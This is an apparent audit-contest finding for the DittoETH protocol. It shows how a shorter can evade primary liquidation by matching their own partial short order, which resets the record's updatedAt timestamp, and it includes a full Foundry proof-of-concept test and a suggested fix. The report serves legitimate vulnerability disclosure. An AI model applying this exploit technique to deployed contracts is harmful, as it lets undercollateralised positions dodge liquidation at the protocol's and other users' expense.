DittoETH

Ditto
DeFiFoundryOracle
55,000 USDC
View results
Submission Details
Severity: high
Valid

Avoid primary liquidation by increasing 'updatedAt'

Summary

Short records can be liquidated if they fall below a certain C-Ratio. If the C-Ratio falls below the primaryLiquidationCR of an asset, it can be flagged. After flagging, a predefined period must be waited during which the owner of the short record can attempt to improve the C-Ratio. If, after this time, the C-Ratio is still below primaryLiquidationCR, it can be liquidated. To calculate how much time has passed since flagging, block.timestamp and the updatedAt parameter of the short record are used. updatedAt is set when flagging but can potentially be modified by a user. This results in the short record not being able to be liquidated.

Vulnerability Details

Here's a way a user can increase updatedAt on his shortRecord after flagging:
A shorter has a partially matched short order. If the short record generated when a part of the order is matched falls below the primaryLiquidationCR and is flagged, the shorter can create the lowest possible bid that matches their short order. This will update the short record and increase the updatedAt timestamp. Even if it remains below the primaryLiquidationCR, it cannot be liquidated immediately because the liquidation will revert due to insufficient elapsed time.
Here is a POC:

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.21;
import {Errors} from "contracts/libraries/Errors.sol";
import {Events} from "contracts/libraries/Events.sol";
import {STypes, MTypes, O} from "contracts/libraries/DataTypes.sol";
import {Constants} from "contracts/libraries/Constants.sol";
import {OBFixture} from "test/utils/OBFixture.sol";
import {console} from "forge-std/console.sol";
import "forge-std/Vm.sol";
import {U256, U88, U80} from "contracts/libraries/PRBMathHelper.sol";
import {IAsset} from "interfaces/IAsset.sol";
contract Poc is OBFixture {
using U256 for uint256;
using U88 for uint88;
using U80 for uint80;
//Creates a bid and a short that exactly match so that a short record is created, as at least one more short record is needed to liquidate a short record
function makeShortRecord() public {
MTypes.OrderHint[] memory orderHintArray;
uint16[] memory shortHintArray;
//Bid
uint80 bidPrice = 0.0030 ether;
uint88 bidErcAmount = 3000 ether;
uint256 bidEth = bidPrice.mul(bidErcAmount);
shortHintArray = setShortHintArray();
orderHintArray = diamond.getHintArray(asset, bidPrice, O.LimitBid);
deal(receiver, bidEth);
vm.startPrank(receiver);
diamond.depositEth{value: bidEth}(address(bridgeReth));
diamond.createBid(asset, bidPrice, bidErcAmount, false, orderHintArray, shortHintArray);
vm.stopPrank();
//Short
uint80 price = 0.0021 ether;
uint88 ercAmount = 3000 ether;
uint256 eth = uint256(ercAmount.mul(price) * 5);
orderHintArray = diamond.getHintArray(asset, price, O.LimitShort);
shortHintArray = setShortHintArray();
vm.deal(receiver, eth);
vm.startPrank(receiver);
diamond.depositEth{value: eth}(_bridgeReth);
diamond.createLimitShort(asset, price, ercAmount, orderHintArray, shortHintArray, 500);
vm.stopPrank();
}
function testPOC() public {
//Initial Price: 250000000000000
makeShortRecord(); //Creates the first short record as at least one more is required for liquidation
STypes.ShortRecord memory shortRecord;
MTypes.OrderHint[] memory orderHintArray;
uint16[] memory shortHintArray;
//Bid is created so that it can be matched with a short order
uint80 bidPrice = 0.0030 ether;
uint88 bidErcAmount = 1 ether;
uint256 bidEth = bidPrice.mul(bidErcAmount);
shortHintArray = setShortHintArray();
orderHintArray = diamond.getHintArray(asset, bidPrice, O.LimitBid);
deal(extra, bidEth);
vm.startPrank(extra);
diamond.depositEth{value: bidEth}(address(bridgeReth));
diamond.createBid(asset, bidPrice, bidErcAmount, false, orderHintArray, shortHintArray);
vm.stopPrank();
//A short is created so that it can match with the just created bid, and a short record is created that will be liquidated later
uint80 price = 0.0021 ether;
uint88 ercAmount = 3000 ether;
uint256 eth = uint256(ercAmount.mul(price) * 5); //Eth for depositing. *5 because it is overcollateralized
orderHintArray = diamond.getHintArray(asset, price, O.LimitShort);
shortHintArray = setShortHintArray();
vm.deal(sender, eth);
vm.startPrank(sender);
diamond.depositEth{value: eth}(_bridgeReth);
diamond.createLimitShort(asset, price, ercAmount, orderHintArray, shortHintArray, 500);
vm.stopPrank();
//After a short record for the 'sender' has been created, the price changes so that the short record is below the primaryLiquidationCR
int256 newEthPrice = 90000000000000000000; //new price
skipTimeAndSetEth({skipTime: 1 hours, ethPrice: newEthPrice}); //New price is set. The fact that time is fast-forwarded is not relevant.
//Short record is flagged because it is under primaryLiquidationCR
vm.startPrank(extra);
diamond.flagShort(asset, sender, Constants.SHORT_STARTING_ID, Constants.HEAD);
vm.stopPrank();
skipTimeAndSetEth({skipTime: 11 hours, ethPrice: newEthPrice}); //This is only to correctly skip time, the price remains the same
shortHintArray = setShortHintArray();
orderHintArray = diamond.getHintArray(asset, bidPrice, O.LimitBid);
deal(sender, bidEth);
vm.startPrank(sender);
diamond.depositEth{value: bidEth}(address(bridgeReth));
diamond.createBid(asset, bidPrice, bidErcAmount, false, orderHintArray, shortHintArray); //Sender creates a bid that matches the remaining short order, thereby increasing the updatedAt on the shortRecord
vm.stopPrank();
uint256 cRatioSender = diamond.getCollateralRatio(asset, diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID));
uint256 primaryLiquidationCR = (uint256((diamond.getAssetStruct(asset)).primaryLiquidationCR) * 1 ether) / Constants.TWO_DECIMAL_PLACES;
assert(primaryLiquidationCR > cRatioSender); //The sender's cRatio is still not good
//Someone is attempting to liquidate after enough time has passed since the flag was set
vm.startPrank(extra);
bytes4 errorSelector = bytes4(keccak256("MarginCallIneligibleWindow()")); //This error is thrown when not enough time has passed since the flag was set
vm.expectRevert(abi.encodeWithSelector(errorSelector));
diamond.liquidate(asset, sender, 2, shortHintArray); //Liquidation will be reverted because updatedAt was increased
vm.stopPrank();
//Short Record continues with a poor cRatio
}
}

Impact

A user can avoid primary liquidation by increasing updatedAt, which can result in the incorrect calculation of past time after flagging.

Tools Used

VSCode, Foundry

Recommendation

A flagging timestamp should be added to the Short Record Struct. This timestamp will then be set when flagging a short Record and used to calculate the elapsed time during liquidation.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-270

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.